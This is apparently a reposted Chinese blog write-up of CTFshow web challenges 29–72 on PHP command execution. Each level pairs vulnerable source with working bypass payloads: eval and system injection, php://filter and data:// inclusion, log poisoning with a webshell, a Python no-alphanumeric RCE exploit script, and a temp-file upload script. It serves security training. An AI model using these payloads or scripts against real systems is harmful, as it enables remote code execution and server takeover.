首页 > 其他分享 >CTFshow-Web入门模块-命令执行

CTFshow-Web入门模块-命令执行

时间:2024-04-22 18:23:00浏览次数:28  
标签:__ Web 入门 GET cat flag 源码 CTFshow php

CTFshow-Web入门模块-命令执行

by 故人叹、

web29

考察点:php命令执行、正则匹配绕过

题目源码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

源码分析:

  • GET传入一个c,并将传入值赋给变量c
  • 对c的内容进行正则匹配,匹配不区分大小写的flag,如果c不包含flag,将c的内容当做php命令执行
  • 未传入c则显示当前页面源码

思路:绕过正则匹配,执行获取flag的php命令。

有多种方法:

(1)使用命令执行函数来执行命令

常见的命令执行函数:

  • system
  • passthru
  • exec/shell_exec (需要进行输出)
  • 等等

先执行ls命令判断flag的位置,此题flag文件在index.php的同级目录中。

微信截图_20240412190036

尝试获取flag.php的内容,可用 \ 和 '' 绕过正则匹配,执行后查看源码拿到flag。

payload示例:
1.  ?c=system("cat fl\ag.php");
2.  ?c=system("tac fl''ag.php");
3.  ?c=passthru("nl fl\ag.php");

(2)内联执行

使用一对反引号 `` 包含的命令,将该命令的输出作为输入,配合其他获取文件内容的命令,直接显示flag文件的内容。

payload: ?c=system("cat `ls`");
//ls会显示当前目录下的所有文件名,而此处的cat会将执行ls后显示的所有文件的内容都显示出来

(3)利用传参+eval

通过在url中写入GET或POST传参命令,配合eval将传入的参数当做命令执行。

payload:  ?c=eval($_GET(1));&1=system("cat fl\ag.php");

(4)传参+文件包含

include加上php伪协议,在知道flag文件名的情况下可以使用。

payload:  ?c=include$_GET[1];&1=php://filter/read=convert.base64-encode/resource=flag.php

web30

考察点:php命令执行、正则匹配绕过

题目源码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

源码分析:

  • GET传入一个变量c
  • 正则匹配变量c的内容,匹配不区分大小写的flag、system和php
  • 不包含以上内容则将c作为命令执行

思路:使用除system之外的命令执行函数或内联执行

payload示例:
1. ?c=passthru("cat `ls`");
// * 为通配符,此处的含义是取到所有以fl开头的文件的内容
2. ?c=echo shell_exec("cat fl*");
3. ?c=passthru("cat fl\ag.ph\p");

web31

考察点:命令执行

题目源码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

源码分析:

  • GET传参c
  • 过滤flag、system、php、cat、sort、shell、小数点、空格和单引号
  • 命令执行

思路:过滤了cat,可用tac;过滤空格可用${IFS}、%09、${IFS}$9等;过滤了system可用passthru。

payload示例:
//转义字符,将$识别为文本$,避免执行错误
1.  ?c=passthru("tac\${IFS}`ls`");
2.  ?c=passthru("tac\${IFS}fla*");

web32

考察点:命令执行、文件包含、php伪协议

题目源码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

源码分析:

  • 过滤了flag、system、php、cat、shell、反引号、空格、小数点、左括号、分号等
  • 使用命令执行限制太多

此处可用文件包含+php伪协议读取flag.php,使用?>替换分号。

payload:
http://1b4aab6b-eba9-4501-ac3f-3954e91a650d.challenge.ctf.show/?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

微信截图_20240412201119

web33

考察点:命令执行、文件包含、php伪协议

题目源码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

增加了单双引号的过滤。

步骤同上,可用文件包含+php伪协议。

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34

考察点:

题目源码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

增加了对冒号(:)的过滤。

步骤同上,可用文件包含+php伪协议。

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

考察点:命令执行、文件包含、php伪协议

题目源码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

增加了小于号(<)、=的过滤。

步骤同上,可用文件包含+php伪协议。

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36

考察点:命令执行、php伪协议、文件包含

题目源码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

增加了对数字0-9、斜杠(/)的过滤。

无伤大雅,php伪协议秒了,只不过传参的变量需要改一下,不能用数字。

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

考察点:php伪协议、文件包含

题目源码:

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

源码分析:

  • 提示flag在flag.php中
  • 过滤了flag,不区分大小写
  • 将c的内容包含
  • 输出变量flag

有include函数,就不用再给c传include了,同时过滤了flag,不能使用伪协议filter和input了,此处我们可以使用伪协议data://,写入命令,在源码中可以看到flag。

?c=data://text/plain,<?php system("cat fl*"); ?>

伪协议data:// 是数据流封装器,可用于传输相应格式的数据,通常用来执行php代码,可根据需求对写入内容进行base64编码。

1.  data://text/plain,[数据]
2.  data://text/plain;base64,[数据的base64编码]

web38

考察点:文件包含、命令执行、php伪协议

题目源码:

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

增加了为php、file的过滤,如要使用伪协议data,需要对写入的php代码进行base64编码。

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

这一题也可使用日志注入的方式,写入一句话木马,使用中国蚁剑连接拿flag。

服务器需要开启了记录日志的功能才可以利用这个漏洞。

对于Apache,日志存放路径:/var/log/apache/access.log

对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log

中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。

Nginx中的日志分两种,一种是error.log,一种是access.log。error.log可以配置成任意级别,默认级别是error,用来记录Nginx运行期间的处理流程相关的信息;access.log指的是访问日志,用来记录服务器的接入信息(包括记录用户的IP、请求处理时间、浏览器信息等)。

步骤:

(1)通过插件Wappalyzer得知中间件为nginx,尝试访问日志文件。

微信截图_20240412212142

微信截图_20240412212343

可以看到日志中保存的时User-Agent的信息,因此明确了注入点。

(2)对该页面进行抓包,在User-Agent中插入一句话木马。

微信截图_20240412212005

(3)尝试使用蚁剑连接木马,连接的url地址为:

http://66f2dd50-0ed2-433a-b780-b8a61659dade.challenge.ctf.show/?c=/var/log/nginx/access.log

微信截图_20240412211930

(4)显示连接成功,进入目录寻找到flag。

微信截图_20240412211950

web39

题目源码:

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

源码分析:

  • 过滤flag,不区分大小写
  • 限制了包含文件的后缀为php

过滤了flag,伪协议filter不能使用;限制了后缀为php,data://仍可用。

在data写入php代码时,结尾已经使用?>闭合,后面的.php会被当成html页面直接显示在页面上,起不到什么作用,相当于执行了一个内容为<?php ...?>的php代码。

执行后源码中可见flag。

?c=data://text/plain,<?php system("cat fl*");?>

web40

考察点:无参数rce

题目源码:

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

源码解析:

  • GET传参变量c
  • 过滤了数字0-9和一系列特殊字符,基本杜绝了使用有参数的函数,此处过滤的括号是中文括号,不是英文括号

我们需要使用一系列无参数的函数构造出访问flag文件的命令,列举此题所用无参函数:

  • print_r() 输出内容
  • scandir() 查看目录文件名,传入参数“.”可以查看当前目录所有文件名
  • localeconv() 返回包含本地数字及货币格式信息的数组,第一项为“.”
  • corrent()/pos() 返回数组中的单元,默认取第一个值
  • next() 将数组中内部指针向前移动一位,指针默认在首位
  • show_source() 查看文件源码
  • array_reverse() 将数组逆置

根据上述无参函数,我们可以构造出一串函数,来访问到flag文件。

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

通过scandir(".")读取当前目录下的所有文件,而这个参数“.”由current(localconv())提供。

微信截图_20240412215412

我们需要取到flag.php的文件,需要借助next()函数使指针指向flag.php,其距离首位有点远,则我们需要先逆向数组。

微信截图_20240412215422

在这种情况下,再使用next()即可指向flag.php。

微信截图_20240412215431

此时我们就需要获取flag.php的源代码了,使用show_source()来显示。

微信截图_20240412215438

拿到了flag。

web41

考察点:无数字字母RCE

题目源码:

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
} 

源码分析:

  • POST传参c
  • 过滤了数字、字母、异或、自增和取反等符号,无法使用这三个运算符构造命令
  • 将c的执行结果输出出来

过滤了异或、自增和取反,没有过滤或(|)运算符,给了我们使用该运算符构造命令的机会。

看了大神的脚本,简要阐明构造思路:

//rce_or.php
<?php
$myfile = fopen("rce_or.txt", "w");
$contents = "";
//从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符
for ($i = 0; $i < 256; $i++) {
    for ($j = 0; $j < 256; $j++) {

        if ($i < 16) {
            $hex_i = '0' . dechex($i);
        } else {
            $hex_i = dechex($i);
        }
        if ($j < 16) {
            $hex_j = '0' . dechex($j);
        } else {
            $hex_j = dechex($j);
        }
        //根据题目的实际情况更改正则匹配语法
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
        if (preg_match($preg, hex2bin($hex_i)) || preg_match($preg, hex2bin($hex_j))) {
            echo "";
        } else {
            $a = '%' . $hex_i;
            $b = '%' . $hex_j;
            $c = (urldecode($a) | urldecode($b));
            if (ord($c) >= 32 & ord($c) <= 126) {
                $contents = $contents . $c . " " . $a . " " . $b . "\n";
            }
        }

    }
}
fwrite($myfile, $contents);
fclose($myfile);
?>
  • 打开一个文本文档,用来存储结果
  • 设置两个变量,遍历0-255,使用hex_(i/j)分别存储当前数字的十六进制形式,如果当前数字小于16,则在前面补0,保证都是二位
  • 判断两个十六进制数的二进制形式是否能被语法匹配,都不能匹配则分别转为url编码
  • 判断两个url编码进行或运算后是否为可见字符,是则将内容写入文本文档
  • 写入的形式是 [字符] [参与或运算的url编码1] [参与或运算的url编码2]

通过这个脚本,我们可以获得一个字典,来排列组合出我们需要执行的命令。

# exp.py
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os

os.system("php rce_or.php")  # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
    print("=" * 50)
    print('USER:python exp.py <url>')
    print("eg:  python exp.py http://ctf.show/")
    print("=" * 50)
    exit(0)
url = argv[1]


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("rce_or.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
    data = {
        'c': urllib.parse.unquote(param)
    }
    r = requests.post(url, data=data)
    print("\n[*] result:\n" + r.text)
  • 事先执行上述php代码,获得字典
  • 获取需要传参的网址
  • 对输入的函数名和命令进行替换,在字典中寻找字符并进行或运算,拼接为字符串
  • 通过POST传参将拼接成的字符串传给对应的变量
  • 打印命令执行结果
//脚本执行
python exp.py [题目网址]

微信截图_20240413162720

微信截图_20240413160309

web42

考察点:重定向命令

题目源码:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

将命令执行的结果重定向到 /dev/null ,错误信息和执行返回信息都不显示在页面上。

/dev/null 表示一个特殊的设备文件,在 UNIX 和类 UNIX 系统中用于丢弃数据,相当于一个黑洞。将输出重定向到 /dev/null 相当于将输出丢弃,不会在终端或文件中显示。

2>&1 表示将标准错误输出重定向到与标准输出相同的位置。其中,2 表示标准错误输出的文件描述符,&1 表示将其重定向到标准输出的位置。

我们需要进行命令分割,正常执行命令但不执行重定向。

  • 分号(;) 终止后面的命令执行
  • | 只执行后面的命令
  • || 只执行前面的命令
  • & 两条命令都会执行(&需要url编码 %26)
  • && 两条命令都会执行
  • %0a 换行符
payload:
//flag.php
?c=ls;
//源码拿flag
?c=cat flag.php||

web43

题目源码:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了cat和分号(;),尝试使用其他的输出命令和分隔符。

payload:
//&的url编码  %26
?c=ls%26
?c=ca\t flag.php%26
?c=tac flag.php%26

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了分号、flag、cat,使用其他输出命令,反引号(\)绕过或者使用通配符*。

payload:
?c=ls||
?c=nl fl\ag.php%26
?c=nl fl*%26

web45

题目源码:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

增加了空格的过滤,可用如下符号绕过:

  • > < <> 重定向符
  • %09 (需要php环境)
  • $
  • $IFS$9
  • {cat,flag.php} //用逗号实现了空格功能
  • %20
  • %09
payload:
?c=ls||
?c=tac${IFS}fl\ag.php||

web46

题目源码:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了数字,*和$,空格绕过%09不属于数字,通配符可用?进行单个字符匹配,仍可使用。

payload:   ?c=tac%09fl\ag.php||

web47

题目源码:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

增加了一些命令的过滤,上题仍可用。

payload:   ?c=tac%09fl\ag.php||

web48

题目源码:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

增加了更多命令的过滤,仍可用上题payload。

payload:   ?c=tac%09fl\ag.php||

web49

题目源码:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

增加了一些过滤,仍可用上题payload。

payload:
?c=tac%09fl\ag.php||

web50

题目源码:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

增加了%09和%26的过滤,不能使用%09绕过空格,不能使用&作为分隔符。

此处使用<>绕过空格,不可与通配符?连用,否则不回显。

分隔符使用||即可。

payload:   ?c=tac<>fl\ag.php||

web51

题目源码:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

增加了对tac的过滤,可用nl;绕过空格可用<>。

payload:    ?c=nl<>fl\ag.php||

web52

题目源码:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

增加了对>和<的过滤,不能使用<>来绕过空格,但仍可以使用${IFS}。

payload:   ?c=nl${IFS}fl\ag.php||

web53

题目源码:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
} 

源码解析:

  • GET传参c
  • 过滤了一系列字符,如cat、flag、tac、more、less等命令
  • c中没有匹配字符则输出c的内容,并命令执行,输出命令执行结果

没有了上一题的重定向,不需要再使用分隔符,首先用ls查看目录文件,找到flag文件名称后,可用nl作为读取文件命令,绕过空格可用${IFS},绕过flag可用fl\ag。

payload:   ?c=nl${IFS}fl\ag.php

或者  ?c=nl${IFS}????.???    通配符匹配4个字符的文件名,后缀为3个字符的文件,即匹配flag.php

web54

题目源码:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

源码解析:

  • GET传参c
  • 匹配许多命令,且包含命令字符的文本也会被匹配
  • 命令执行

解决方法:

(1)mv重命名flag文件,url访问

通过ls得知文件名为flag.php,正则匹配未过滤mv命令,可重命名文件并访问。

payload:
?c=mv${IFS}fla?.php${IFS}a.txt

url访问:   http://example.com/a.txt  

(2)使用cat命令,利用通配符?,指明cat所在目录bin

payload:
//只使用ca?不能匹配到准确的命令,指明bin目录下的cat才可以
?c=/bin/ca?${IFS}fla?.php

(3)使用命令uniq或grep

uniq命令可将指定文件的内容中的重复行合并成一行,并输出出来,也可用于读取文件内容。

payload:
?c=uniq${IFS}fla?.php

grep可以匹配并输出包含指定字符的内容。

命令:   grep [匹配字符串] [指定文件]

payload:
?c=grep${IFS}"fla"${IFS}fla?.php

web55

考察点:无字母RCE

题目源码:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

过滤了字母,尝试寻找/bin目录下包含数字的命令:

cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

可用base64。

(1)base64+通配符

payload:
?c=/???/????64 ????.???

(2)/usr/bin/bzip2压缩命令,将flag.php压缩为压缩包,访问并下载

payload:
?c=/???/???/????2 ????.???

url访问:   http://example.com/flag.php.bz2

(3)bash shell的转义字符

Bash shell中,\是转义字符的开始。当你使用\后跟一个数字时,Bash会将其解释为八进制数,并将其转换为对应的ASCII字符。

可通过 $'[转义字符]'构造命令。

payload:
?c=$'\154\163'    ls
?c=$'\143\141\164'%20*    cat *

web56

考察点:无字母数字RCE

针对不过滤(.)和问号(?)这两个符号的无字母数字RCE,可用脚本跑。

题目源码:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤了字母数字,%号,杜绝取反和异或;$,杜绝转义,看了其他大神的wp,总结出下面的方法:

可以通过POST上传一个文件,文件中包含命令,通过source命令(.)来执行命令,该文件在linux下面保存在 /tmp/php?????? ,后六个字符为随机生成的大小写,可使用linux匹配符去匹配。

可以通过构造post上传文件的数据包,或者使用python脚本:

(1)数据包

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="[传参网站]" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

传入参数 ?c=.%20/???/????????[@-[]

在文件内容中写入命令:

#!/bin/sh

ls
cat /var/www/html/falg.php

(2)python脚本

同样的思路。

import requests

while True:
    url = "[自定义网站]/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
    if r.text.find("flag") > 0:
        print(r.text)
        break

通过循环不断传入文件,直到读取到flag文件的内容为止。

可自定义网站、文件名和执行的命令。

web57

考察点:无数字字母RCE构造数字

题目源码:

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
} 

未过滤$、取反~和左右括号(),提示flag在36.php中,文件名为数字,且程序会直接cat到指定文件内容,需要给c赋值为36。

可使用Bash shell中的双小括号(())来进行构造数字:

  • $(()) 代表一次运算,括号内可以填入运算式,因为里面为空,所以结果会被解析为0
  • 对0取反可以得到-1,使用表达式表示为$(( ~$(()) ))
  • 两个双小括号运算符相连,默认为相加,如$(( $(~$(())) $(( ~$(()))) )) ,-1+(-1)=-2
  • 通过上述方法我们可以构造出-37,又-37取反得到36,目的达成,在$(( ~$(( )) ))中放入37个$(( ~$(()) )),即可构造出数字36

python脚本得到payload:

payload = "$((~$(({}))))".format("$((~$(())))"*37)
print(payload)

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

传参后源码拿到flag。

web58-65

考察点:突破禁用函数

题目源码:

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

源码分析:

  • 传参方式变为POST
  • 源代码无法查看被过滤的命令,需要尝试

经过尝试,常用的system、passthru等命令执行函数都被禁用了,使用其他方法:

(1)include文件包含绕过

c=include$_POST[1];&1=php://filter/read=convert.base64-encode/resource=flag.php

(2)show_source或hightlight_file展示源代码,file_get_contents()文件读取

//show_source
c=show_source("flag.php");

//highlight_file
c=highlight_file("flag.php");

//文件读取,源码看flag
c=echo file_get_contents("flag.php");

(3)无参数函数

c=show_source(next(array_reverse(scandir(current(localeconv())))));

web66

题目源码:

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

使用上题的方法后发现flag位置发生变更:

微信截图_20240419183337

使用scandir查看主目录信息:

微信截图_20240419183412

可用highlight_file函数或php伪协议读取flag.txt文件内容。

payload:
1.  c=print_r(highlight_file("/flag.txt"));
2.  c=include$_POST[a];&a=php://filter/read=convert.base64-encode/resource=/flag.txt

微信截图_20240419183430

微信截图_20240419183701

web67

题目源码同上。

print_r函数被禁用,要将scandir读取目录的结果(一个数组)输出,可用var_dump()方法。

同样地,flag文件位置发生了改变。

除去打印函数的变化,其余内容同上题payload:

payload:
1. c=var_dump(highlight_file("/flag.txt"));
2. c=include$_POST['a'];&a=php://filter/read=convert.base64-encode/resource=/flag.txt

web68

此题禁用了highlight_file函数,导致源码无法显示,尝试使用include显示源码,提示字节太大无法显示。

微信截图_20240419185413

(1)仍可用var_dump和scandir读取目录文件名,并使用include来显示flag文件的内容。

payload:
c=var_dump(scandir('/'));       # /flag.txt
c=include("/flag.txt");

(2)可用php类 SplFileObject文件读取类,创建flag文件的实例,调用方法fpassthru()将文件内容输出到缓冲区。

payload:
c=(new SplFileObject("/flag.txt"))->fpassthru();

web69-70

同上题因字节太大,无法读取源码,且var_dump被禁用。

可用其他打印数组内容的方法:

(1)json_encode(),其可将数组转为json格式的字符串

c=echo json_encode(scandir("/"));

微信截图_20240419202839

(2)implode(间隔符,数组),可将数组内容转为字符串,可设置元素之间的间隔符

c=echo implode("---",scandir("/"));

微信截图_20240419202957

(3)使用foreach循环打印数组内容(不推荐)

c=foreach(scandir("/") as $a){echo $a." ";}

微信截图_20240419203023

对于读取文件,可用include包含或者readgzfile()方法,readgzfile()可以读取非gzip格式的文件,并直接返回文件内容。

1.  c=include("/flag.txt");
2.  c=readgzfile("/flag.txt");

web71

考察点:终止程序方法使用、缓冲区

题目源码:

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

代码分析:

  • POST传参c,命令执行c
  • 获取到输出缓冲区的内容(即命令执行的结果),赋值给s,后清空缓存区内容
  • 将s的内容中的字母和数字都替换为?,然后输出

很明显,这段代码会拦截并更改命令执行的回显内容,我们需要绕过它们。

使用 exit(0)、die()来退出程序,在传参的命令后添加这段语句,可以避免回显内容的替换。

payload:
1.  c=include("/flag.txt");exit(0);
2.  c=include("/flag.txt");die();

web72

题目源码:

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

此题禁用了scandir方法,可用php类DirectoryIterator来获取目录信息,同时使用glob://协议来获取指定位置的目录信息,保存到一个数组中

c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." ";
}
exit(0);

可以发现flag文件名为flag0.txt

标签:__,Web,入门,GET,cat,flag,源码,CTFshow,php
From: https://www.cnblogs.com/yuspace/p/18151181

相关文章

  • fiber使用websocket--多进程版本
    多进程数据是隔离的,也就是说处理不好,不同的用户登录,其实不在一个进程,没办法直接通信解决办法:定义一个全局变量,所有进程公用,要加锁如果是单进程版本其实就跟gin框架那些一样了多线程+channel不存在数据隔离的问题main.gopackagemainimport( "flag" "fmt" "log" "sync"......
  • 系统架构基础知识入门指南-下
    接上篇文章,这篇文章聊聊技术同学如何由点及面的了解并掌握系统架构知识。 大家可以先回想一下,我们入职一家新公司做技术工作,一般都是如何开展工作的。首先,我们需要了解团队和项目的技术规范和迭代发布上线流程。其次,还要了解自己所在岗位负责哪些业务,对应的沟通合作对象是谁......
  • Flask框架基础入门
    Flask是一个非常小的PythonWeb框架,被称为微型框架;只提供了一个稳健的核心,其他功能全部是通过扩展实现的;意思就是我们可以根据项目的需要量身定制,也意味着我们需要学习各种扩展库的使用。1)路由route的创建通过创建路由并关联函数,实现一个基本的网页:fromflaskimportFlask#用当......
  • springboot 嵌入式的web容器的的选择
    springboot默认内置tomcat可以替换undertow、jetty、nettytomcattomcat默认200最大线程完整实现了JEE容器和serlet规范tomcat6以后支持Jdk1.4的NIO用于完整支持了javaee因此比较笨重和重量级很多高并发会替换成undertowundertow这个是红帽2012开源出来的一个......
  • springwebFlux 版本对应关系
